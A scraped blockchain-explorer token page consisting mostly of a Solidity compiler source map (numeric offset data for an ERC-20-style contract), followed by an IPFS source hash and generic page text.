;;;;;;:::i;:::-;-1:-1:-1;;;;;3198:22:0;::::1;3176:110;;;::::0;-1:-1:-1;;;3176:110:0;;8846:2:1;3176:110:0::1;::::0;::::1;8828:21:1::0;8885:2;8865:18;;;8858:30;8924:34;8904:18;;;8897:62;-1:-1:-1;;;8975:18:1;;;8968:36;9021:19;;3176:110:0::1;8644:402:1::0;3176:110:0::1;3323:6;::::0;;3302:38:::1;::::0;-1:-1:-1;;;;;3302:38:0;;::::1;::::0;3323:6;::::1;::::0;3302:38:::1;::::0;::::1;3351:6;:17:::0;;-1:-1:-1;;;;;;3351:17:0::1;-1:-1:-1::0;;;;;3351:17:0;;;::::1;::::0;;;::::1;::::0;;3095:281::o;13901:196::-;2852:6;;-1:-1:-1;;;;;2852:6:0;352:10;2852:22;2844:67;;;;-1:-1:-1;;;2844:67:0;;;;;;;:::i;:::-;13990:9:::1;13985:105;14001:20:::0;;::::1;13985:105;;;14074:4;14043:14;:28;14058:9;;14068:1;14058:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14043:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14043:28:0;:35;;-1:-1:-1;;14043:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;14023:3:0::1;13985:105;;7946:335:::0;-1:-1:-1;;;;;8039:19:0;;8031:68;;;;-1:-1:-1;;;8031:68:0;;9253:2:1;8031:68:0;;;9235:21:1;9292:2;9272:18;;;9265:30;9331:34;9311:18;;;9304:62;-1:-1:-1;;;9382:18:1;;;9375:34;9426:19;;8031:68:0;9051:400:1;8031:68:0;-1:-1:-1;;;;;8118:21:0;;8110:68;;;;-1:-1:-1;;;8110:68:0;;9658:2:1;8110:68:0;;;9640:21:1;9697:2;9677:18;;;9670:30;9736:34;9716:18;;;9709:62;-1:-1:-1;;;9787:18:1;;;9780:32;9829:19;;8110:68:0;9456:398:1;8110:68:0;-1:-1:-1;;;;;8189:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8241:32;;1392:25:1;;;8241:32:0;;1365:18:1;8241:32:0;;;;;;;7946:335;;;:::o;8664:4189::-;-1:-1:-1;;;;;8767:20:0;;;;;;:14;:20;;;;;;;;8766:21;:44;;;;-1:-1:-1;;;;;;8792:18:0;;;;;;:14;:18;;;;;;;;8791:19;8766:44;8744:131;;;;-1:-1:-1;;;8744:131:0;;10061:2:1;8744:131:0;;;10043:21:1;10100:2;10080:18;;;10073:30;10139:34;10119:18;;;10112:62;-1:-1:-1;;;10190:18:1;;;10183:35;10235:19;;8744:131:0;9859:401:1;8744:131:0;-1:-1:-1;;;;;8894:18:0;;8886:68;;;;-1:-1:-1;;;8886:68:0;;10467:2:1;8886:68:0;;;10449:21:1;10506:2;10486:18;;;10479:30;10545:34;10525:18;;;10518:62;-1:-1:-1;;;10596:18:1;;;10589:35;10641:19;;8886:68:0;10265:401:1;8886:68:0;-1:-1:-1;;;;;8973:16:0;;8965:64;;;;-1:-1:-1;;;8965:64:0;;10873:2:1;8965:64:0;;;10855:21:1;10912:2;10892:18;;;10885:30;10951:34;10931:18;;;10924:62;-1:-1:-1;;;11002:18:1;;;10995:33;11045:19;;8965:64:0;10671:399:1;8965:64:0;9057:1;9048:6;:10;9040:64;;;;-1:-1:-1;;;9040:64:0;;11277:2:1;9040:64:0;;;11259:21:1;11316:2;11296:18;;;11289:30;11355:34;11335:18;;;11328:62;-1:-1:-1;;;11406:18:1;;;11399:39;11455:19;;9040:64:0;11075:405:1;9040:64:0;9117:17;2790:6;;-1:-1:-1;;;;;9153:15:0;;;2790:6;;9153:15;;;;:32;;-1:-1:-1;2763:7:0;2790:6;-1:-1:-1;;;;;9172:13:0;;;2790:6;;9172:13;;9153:32;9149:3333;;;9214:208;9418:3;9214:181;9278:15;;9266:9;;:27;9265:111;;9362:14;;9265:111;;;9322:12;;9265:111;9214:6;;:28;:181::i;:::-;:203;;:208::i;:::-;-1:-1:-1;;;;;9461:16:0;;;;;;:10;:16;;;;;;9202:220;;-1:-1:-1;9461:16:0;;:67;;;;-1:-1:-1;9512:15:0;;-1:-1:-1;;;;;9498:30:0;;;9512:15;;;;;9498:30;;9461:67;:111;;;;-1:-1:-1;;;;;;9550:22:0;;;;;;:18;:22;;;;;;;;9549:23;9461:111;9439:555;;;9625:12;;9615:6;:22;;9607:60;;;;-1:-1:-1;;;9607:60:0;;11687:2:1;9607:60:0;;;11669:21:1;11726:2;11706:18;;;11699:30;11765:27;11745:18;;;11738:55;11810:18;;9607:60:0;11485:349:1;9607:60:0;9742:14;;9732:6;9716:13;9726:2;-1:-1:-1;;;;;6888:18:0;6861:7;6888:18;;;:9;:18;;;;;;;6795:119;9716:13;:22;;;;:::i;:::-;:40;;9686:140;;;;-1:-1:-1;;;9686:140:0;;12171:2:1;9686:140:0;;;12153:21:1;12210:2;12190:18;;;12183:30;12249:28;12229:18;;;12222:56;12295:18;;9686:140:0;11969:350:1;9686:140:0;9868:12;9851:10;;9864:1;9851:14;;;;:::i;:::-;:29;9847:102;;;13338:20;;13386:8;9905:24;;;;;;9967:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9439:555;-1:-1:-1;;;;;10015:14:0;;;;;;:10;:14;;;;;;;;10014:15;:42;;;;-1:-1:-1;;;;;;10034:22:0;;;;;;:18;:22;;;;;;;;10033:23;10014:42;10010:223;;;10133:14;;10123:6;10107:13;10117:2;-1:-1:-1;;;;;6888:18:0;6861:7;6888:18;;;:9;:18;;;;;;;6795:119;10107:13;:22;;;;:::i;:::-;:40;;10077:140;;;;-1:-1:-1;;;10077:140:0;;12171:2:1;10077:140:0;;;12153:21:1;12210:2;12190:18;;;12183:30;12249:28;12229:18;;;12222:56;12295:18;;10077:140:0;11969:350:1;10077:140:0;-1:-1:-1;;;;;10253:14:0;;;;;;:10;:14;;;;;;;;:39;;;;-1:-1:-1;;;;;;10271:21:0;;10287:4;10271:21;;10253:39;10249:360;;;10325:268;10589:3;10325:237;10397:16;;10385:9;;:28;10384:155;;10512:19;;10492:47;;10512:26;;10536:1;10512:23;:26::i;:::-;10492:15;;;:19;:47::i;:::-;10384:155;;;10446:13;;10325:6;;:32;:237::i;:268::-;10313:280;;10249:360;-1:-1:-1;;;;;10630:16:0;;;;;;:10;:16;;;;;;;;10629:17;:36;;;;-1:-1:-1;;;;;;10651:14:0;;;;;;:10;:14;;;;;;;;10650:15;10629:36;:61;;;;-1:-1:-1;;;;;;10669:21:0;;10685:4;10669:21;;10629:61;10625:115;;;-1:-1:-1;10723:1:0;10625:115;-1:-1:-1;;;;;10776:24:0;;;;;;:18;:24;;;;;;;;:59;;;;-1:-1:-1;;;;;;10821:14:0;;;;;;:10;:14;;;;;;;;10776:59;:74;;;;-1:-1:-1;10839:11:0;;-1:-1:-1;;;10839:11:0;;;;10776:74;:85;;;;-1:-1:-1;10855:6:0;;-1:-1:-1;;;10855:6:0;;;;10854:7;10776:85;10754:218;;;10922:10;;10900:48;;-1:-1:-1;;;;;10914:18:0;;;10922:10;;10914:18;10936:2;10941:6;10900:12;:48::i;:::-;10896:61;;10950:7;8664:4189;;;:::o;10896:61::-;11035:4;10986:28;6888:18;;;:9;:18;;;;;;11078:9;;;;:37;;;;-1:-1:-1;11109:6:0;;-1:-1:-1;;;11109:6:0;;;;11108:7;11078:37;:72;;;;-1:-1:-1;;;;;;11136:14:0;;;;;;:10;:14;;;;;;;;11078:72;:104;;;;-1:-1:-1;11171:11:0;;-1:-1:-1;;;11171:11:0;;;;11078:104;:155;;;;;11215:18;;11203:9;;:30;11078:155;11056:1415;;;11287:14;;11272:12;:29;11268:92;;;11339:1;11326:10;:14;11268:92;11404:17;;11381:20;:40;11378:204;;;11445:117;11488:51;11492:6;11500:38;11504:20;11526:11;;11500:3;:38::i;:::-;11488:3;:51::i;:::-;11445:16;:117::i;:::-;11629:21;11721:35;11734:21;11721:12;:35::i;:::-;11794:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;11842:12:0;11825:14;:29;-1:-1:-1;11056:1415:0;;;11899:6;;-1:-1:-1;;;11899:6:0;;;;11898:7;:42;;;;-1:-1:-1;;;;;;11926:14:0;;;;;;:10;:14;;;;;;;;11898:42;:74;;;;-1:-1:-1;11961:11:0;;-1:-1:-1;;;11961:11:0;;;;11898:74;:125;;;;;12005:18;;11993:9;;:30;11898:125;11876:595;;;12084:17;;12061:20;:40;12058:204;;;12125:117;12168:51;12172:6;12180:38;12184:20;12206:11;;12180:3;:38::i;12125:117::-;12309:21;12401:35;12414:21;12401:12;:35::i;:::-;12039:432;11876:595;9187:3295;9149:3333;12498:13;;12494:172;;12573:4;12555:24;;;;:9;:24;;;;;;:39;;12584:9;12555:28;:39::i;:::-;12546:4;12528:24;;;;:9;:24;;;;;;;:66;;;;12614:40;;-1:-1:-1;;;;;12614:40:0;;;;;;;12644:9;1392:25:1;;1380:2;1365:18;;1246:177;12614:40:0;;;;;;;;12494:172;-1:-1:-1;;;;;12694:15:0;;;;;;:9;:15;;;;;;:27;;12714:6;12694:19;:27::i;:::-;-1:-1:-1;;;;;12676:15:0;;;;;;:9;:15;;;;;:45;12748:40;12766:21;:6;12777:9;12766:10;:21::i;:::-;-1:-1:-1;;;;;12748:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;12732:13:0;;;;;;;:9;:13;;;;;:56;;;;12804:41;;;12823:21;:6;12834:9;12823:10;:21::i;:::-;12804:41;;1392:25:1;;;1380:2;1365:18;12804:41:0;;;;;;;8733:4120;8664:4189;;;:::o;1527:224::-;1647:7;1683:12;1675:6;;;;1667:29;;;;-1:-1:-1;;;1667:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1707:9:0;1719:5;1723:1;1719;:5;:::i;:::-;1707:17;1527:224;-1:-1:-1;;;;;1527:224:0:o;1759:246::-;1817:7;1841:1;1846;1841:6;1837:47;;-1:-1:-1;1871:1:0;1864:8;;1837:47;1894:9;1906:5;1910:1;1906;:5;:::i;:::-;1894:17;-1:-1:-1;1939:1:0;1930:5;1934:1;1894:17;1930:5;:::i;:::-;:10;1922:56;;;;-1:-1:-1;;;1922:56:0;;13021:2:1;1922:56:0;;;13003:21:1;13060:2;13040:18;;;13033:30;13099:34;13079:18;;;13072:62;-1:-1:-1;;;13150:18:1;;;13143:31;13191:19;;1922:56:0;12819:397:1;2013:132:0;2071:7;2098:39;2102:1;2105;2098:39;;;;;;;;;;;;;;;;;:3;:39::i;1383:136::-;1441:7;1468:43;1472:1;1475;1468:43;;;;;;;;;;;;;;;;;:3;:43::i;8412:246::-;8498:4;8519:7;8515:114;;;-1:-1:-1;;;;;8560:14:0;;;;;;:9;:14;;;;;;:30;;8579:10;8560:18;:30::i;:::-;-1:-1:-1;;;;;8543:14:0;;;;;;:9;:14;;;;;:47;;;;:14;-1:-1:-1;8605:12:0;;12861:107;12918:7;12950:1;12946;:5;12945:15;;12959:1;12945:15;;;-1:-1:-1;12955:1:0;12861:107;-1:-1:-1;12861:107:0:o;13410:483::-;5949:6;:13;;-1:-1:-1;;;;5949:13:0;-1:-1:-1;;;5949:13:0;;;13512:16:::1;::::0;;13526:1:::1;13512:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13512:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13512:16:0::1;13488:40;;13557:4;13539;13544:1;13539:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;13539:23:0::1;;;-1:-1:-1::0;;;;;13539:23:0::1;;;::::0;::::1;13583:15;;;;;;;;;-1:-1:-1::0;;;;;13583:15:0::1;-1:-1:-1::0;;;;;13583:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13573:4;13578:1;13573:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13573:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13648:15:::1;::::0;13616:62:::1;::::0;13633:4:::1;::::0;13648:15:::1;::::0;::::1;;13666:11:::0;13616:8:::1;:62::i;:::-;13689:15;::::0;:196:::1;::::0;-1:-1:-1;;;13689:196:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;13689:15:0::1;::::0;:66:::1;::::0;:196:::1;::::0;13770:11;;13796:1:::1;::::0;13812:4;;13839::::1;::::0;13859:15:::1;::::0;13689:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5985:6:0;:14;;-1:-1:-1;;;;5985:14:0;;;-1:-1:-1;;;;13410:483:0:o;14274:92::-;14331:10;;:27;;-1:-1:-1;;;;;14331:10:0;;;;:27;;;;;14351:6;;14331:10;:27;:10;:27;14351:6;14331:10;:27;;;;;;;;;;;;;;;;;;;;;14274:92;:::o;1196:179::-;1254:7;;1286:5;1290:1;1286;:5;:::i;:::-;1274:17;;1315:1;1310;:6;;1302:46;;;;-1:-1:-1;;;1302:46:0;;14519:2:1;1302:46:0;;;14501:21:1;14558:2;14538:18;;;14531:30;14597:29;14577:18;;;14570:57;14644:18;;1302:46:0;14317:351:1;2153:223:0;2273:7;2308:12;2301:5;2293:28;;;;-1:-1:-1;;;2293:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2332:9:0;2344:5;2348:1;2344;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:247::-;1487:6;1540:2;1528:9;1519:7;1515:23;1511:32;1508:52;;;1556:1;1553;1546:12;1508:52;1595:9;1582:23;1614:31;1639:5;1614:31;:::i;1680:508::-;1757:6;1765;1773;1826:2;1814:9;1805:7;1801:23;1797:32;1794:52;;;1842:1;1839;1832:12;1794:52;1881:9;1868:23;1900:31;1925:5;1900:31;:::i;:::-;1950:5;-1:-1:-1;2007:2:1;1992:18;;1979:32;2020:33;1979:32;2020:33;:::i;:::-;1680:508;;2072:7;;-1:-1:-1;;;2152:2:1;2137:18;;;;2124:32;;1680:508::o;2590:610::-;2676:6;2684;2737:2;2725:9;2716:7;2712:23;2708:32;2705:52;;;2753:1;2750;2743:12;2705:52;2793:9;2780:23;2826:18;2818:6;2815:30;2812:50;;;2858:1;2855;2848:12;2812:50;2881:22;;2934:4;2926:13;;2922:27;-1:-1:-1;2912:55:1;;2963:1;2960;2953:12;2912:55;3003:2;2990:16;3029:18;3021:6;3018:30;3015:50;;;3061:1;3058;3051:12;3015:50;3114:7;3109:2;3099:6;3096:1;3092:14;3088:2;3084:23;3080:32;3077:45;3074:65;;;3135:1;3132;3125:12;3074:65;3166:2;3158:11;;;;;3188:6;;-1:-1:-1;2590:610:1;-1:-1:-1;;;2590:610:1:o;3205:388::-;3273:6;3281;3334:2;3322:9;3313:7;3309:23;3305:32;3302:52;;;3350:1;3347;3340:12;3302:52;3389:9;3376:23;3408:31;3433:5;3408:31;:::i;:::-;3458:5;-1:-1:-1;3515:2:1;3500:18;;3487:32;3528:33;3487:32;3528:33;:::i;:::-;3580:7;3570:17;;;3205:388;;;;;:::o;3598:127::-;3659:10;3654:3;3650:20;3647:1;3640:31;3690:4;3687:1;3680:15;3714:4;3711:1;3704:15;3730:375;3818:1;3836:5;3850:249;3871:1;3861:8;3858:15;3850:249;;;3921:4;3916:3;3912:14;3906:4;3903:24;3900:50;;;3930:18;;:::i;:::-;3980:1;3970:8;3966:16;3963:49;;;3994:16;;;;3963:49;4077:1;4073:16;;;;;4033:15;;3850:249;;;3730:375;;;;;;:::o;4110:902::-;4159:5;4189:8;4179:80;;-1:-1:-1;4230:1:1;4244:5;;4179:80;4278:4;4268:76;;-1:-1:-1;4315:1:1;4329:5;;4268:76;4360:4;4378:1;4373:59;;;;4446:1;4441:174;;;;4353:262;;4373:59;4403:1;4394:10;;4417:5;;;4441:174;4478:3;4468:8;4465:17;4462:43;;;4485:18;;:::i;:::-;-1:-1:-1;;4541:1:1;4527:16;;4600:5;;4353:262;;4699:2;4689:8;4686:16;4680:3;4674:4;4671:13;4667:36;4661:2;4651:8;4648:16;4643:2;4637:4;4634:12;4630:35;4627:77;4624:203;;;-1:-1:-1;4736:19:1;;;4812:5;;4624:203;4859:42;-1:-1:-1;;4884:8:1;4878:4;4859:42;:::i;:::-;4937:6;4933:1;4929:6;4925:19;4916:7;4913:32;4910:58;;;4948:18;;:::i;:::-;4986:20;;4110:902;-1:-1:-1;;;4110:902:1:o;5017:140::-;5075:5;5104:47;5145:4;5135:8;5131:19;5125:4;5104:47;:::i;5162:168::-;5235:9;;;5266;;5283:15;;;5277:22;;5263:37;5253:71;;5304:18;;:::i;5335:356::-;5537:2;5519:21;;;5556:18;;;5549:30;5615:34;5610:2;5595:18;;5588:62;5682:2;5667:18;;5335:356::o;6048:251::-;6118:6;6171:2;6159:9;6150:7;6146:23;6142:32;6139:52;;;6187:1;6184;6177:12;6139:52;6219:9;6213:16;6238:31;6263:5;6238:31;:::i;7217:456::-;7305:6;7313;7321;7374:2;7362:9;7353:7;7349:23;7345:32;7342:52;;;7390:1;7387;7380:12;7342:52;-1:-1:-1;;7435:16:1;;7541:2;7526:18;;7520:25;7637:2;7622:18;;;7616:25;7435:16;;7520:25;;-1:-1:-1;7616:25:1;7217:456;-1:-1:-1;7217:456:1:o;7957:277::-;8024:6;8077:2;8065:9;8056:7;8052:23;8048:32;8045:52;;;8093:1;8090;8083:12;8045:52;8125:9;8119:16;8178:5;8171:13;8164:21;8157:5;8154:32;8144:60;;8200:1;8197;8190:12;8512:127;8573:10;8568:3;8564:20;8561:1;8554:31;8604:4;8601:1;8594:15;8628:4;8625:1;8618:15;11839:125;11904:9;;;11925:10;;;11922:36;;;11938:18;;:::i;12324:135::-;12363:3;12384:17;;;12381:43;;12404:18;;:::i;:::-;-1:-1:-1;12451:1:1;12440:13;;12324:135::o;12464:128::-;12531:9;;;12552:11;;;12549:37;;;12566:18;;:::i;12597:217::-;12637:1;12663;12653:132;;12707:10;12702:3;12698:20;12695:1;12688:31;12742:4;12739:1;12732:15;12770:4;12767:1;12760:15;12653:132;-1:-1:-1;12799:9:1;;12597:217::o;13353:959::-;13615:4;13663:3;13652:9;13648:19;13694:6;13683:9;13676:25;13737:6;13732:2;13721:9;13717:18;13710:34;13780:3;13775:2;13764:9;13760:18;13753:31;13804:6;13839;13833:13;13870:6;13862;13855:22;13908:3;13897:9;13893:19;13886:26;;13947:2;13939:6;13935:15;13921:29;;13968:1;13978:195;13992:6;13989:1;13986:13;13978:195;;;14057:13;;-1:-1:-1;;;;;14053:39:1;14041:52;;14122:2;14148:15;;;;14113:12;;;;14089:1;14007:9;13978:195;;;-1:-1:-1;;;;;;;14229:32:1;;;;14224:2;14209:18;;14202:60;-1:-1:-1;;14293:3:1;14278:19;14271:35;14190:3;13353:959;-1:-1:-1;;;13353:959:1:o

Swarm Source

ipfs://41f70633a0874f49f2f7fc4fd70a7ff12d046d39e66d86c018588bc96ec707b0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.